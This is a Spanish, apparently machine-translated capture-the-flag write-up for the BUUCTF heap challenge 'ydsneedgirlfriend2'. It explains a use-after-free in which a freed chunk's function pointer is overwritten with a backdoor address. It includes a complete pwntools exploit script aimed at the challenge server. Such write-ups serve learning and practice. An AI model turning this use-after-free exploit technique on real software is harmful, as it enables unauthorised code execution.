buuctf [BJDCTF 2nd] ydsneedgirlfriend2

[BJDCTF 2nd] ydsneedgirlfriend2 Un montón de preguntas que puedes hacer

El proceso de implementación de este tema es muy simple y fácil de entender, y el guión final también es muy conciso, adecuado para una linda nueva como yo.

Programa de 64 bits, arrastre a ida, observe varias funciones principales

agregar función:

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

Tenga en cuenta que si no hay contenido en 0x6020a0 de la sección bss, el programa primero solicitará un fragmento 0x10 para almacenar la dirección del fragmento que se aplicará al usuario y la dirección de la función de imprimir el nombre de la novia. Puede ver que esta función se usa para el contenido de salida Al mismo tiempo, la dirección del fragmento en sí se colocará en 0x6020a0

A continuación, el usuario ingresa el tamaño y el contenido del fragmento deseado. Esto puede ser un poco confuso decir, simplemente hágalo en la práctica.

La siguiente es la ejecución de la función de adición, el tamaño de entrada es 16, el contenido de entrada son los segmentos chunk y bss después de "aaaa":

Inserte la descripción de la imagen aquí

Este es el caso de chunks, 0x603010 almacena la dirección de chunk0 y 0x603018 almacena la función de imprimir el nombre de la novia

Dirección, 0x603020-0x603030 es el encabezado de chunk0 y 0x603030 es la entrada "aaaa"

Inserte la descripción de la imagen aquí

Aquí, en el segmento bss, se almacena 0x603010, que es la dirección de chunk00

mostrar función:

Inserte la descripción de la imagen aquí

De lo que se da cuenta la función show es de llamar a esta función a través de la dirección de la función imprimir nombre de novia almacenada en 0x603018 para generar el contenido del fragmento. Aquí podemos usarlo, si podemos cambiar esta dirección a la dirección que queremos, y luego llamar a la función show, podemos obtener

función dele:

Inserte la descripción de la imagen aquí

Se puede ver que aunque el free de los dos fragmentos se elimina aquí, pero el puntero a chunk00 en el segmento bss no se establece en nulo, existe una posibilidad aquí

Escribe la implementación de estas tres funciones:

def add(length,data):
	sh.recvuntil("u choice :\n")
	sh.sendline("1")
	sh.recvuntil("Please input the length of her name:\n")
	sh.send(str(length))
	sh.recvuntil("Please tell me her name:\n")
	sh.send(data)
def delete(index):
	sh.recvuntil("u choice :\n")
	sh.send("2")
	sh.recvuntil("Index :")
	sh.send(str(index))
def show(index):
	sh.recvuntil("u choice :\n")
	sh.send("3")
	sh.recvuntil("Index :")
	sh.send(str(index))

Para explorar más nuestra conjetura, eche un vistazo al contenido que acaba de solicitar de forma gratuita.

Inserte la descripción de la imagen aquí

En este momento, los dos fragmentos están en el estado libre. Los dos fragmentos se gestionan mediante la estructura de una lista enlazada individualmente. El fragmento libre se coloca en la cabecera de la tabla. Dado que chunk00 es libre, se coloca en la cabecera de la mesa. , Los datos almacenados en 0x603010 han cambiado de 0x603030 a 0x603020, lo que apunta al encabezado de chunk0

Cuando lo apliquemos nuevamente, el sistema buscará trozos que coincidan con el tamaño. Y si queremos un fragmento 0x20 en este momento, lo buscará a su vez, y el fragmento de encabezado00 es exactamente el mismo, podemos controlar el puntero de función en 0x603018 a través de este

Inserte la descripción de la imagen aquí

Mire la sección bss nuevamente, este puntero todavía existe, por lo que esta vez, la función agregar solo realizará malloc una vez, podemos modificar el puntero en 0x603018 a la dirección de la función de puerta trasera, y luego ejecutar la función show y pasar el puntero almacenado en la sección bss. Implementar la función de puerta trasera

add(0x10,'aaaa')
delete(0)
add(0x10,"aaaaaaaa"+p64(backdoor))
show(0)

Después de ejecutar de esta manera, 0x603010 es aaaaaaaa, y 0x603018 es la dirección de la puerta trasera. Exp.
Completa:

from pwn import *
sh=remote("node3.buuoj.cn",29561)
context.log_level='debug'

backdoor=0x400d86
def add(length,data):
	sh.recvuntil("u choice :\n")
	sh.sendline("1")
	sh.recvuntil("Please input the length of her name:\n")
	sh.send(str(length))
	sh.recvuntil("Please tell me her name:\n")
	sh.send(data)
def delete(index):
	sh.recvuntil("u choice :\n")
	sh.send("2")
	sh.recvuntil("Index :")
	sh.send(str(index))
def show(index):
	sh.recvuntil("u choice :\n")
	sh.send("3")
	sh.recvuntil("Index :")
	sh.send(str(index))

add(0x10,'aaaa')
delete(0)
add(0x10,"aaaaaaaa"+p64(backdoor))
show(0)
sh.interactive()

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/107976481
Recomendado
Clasificación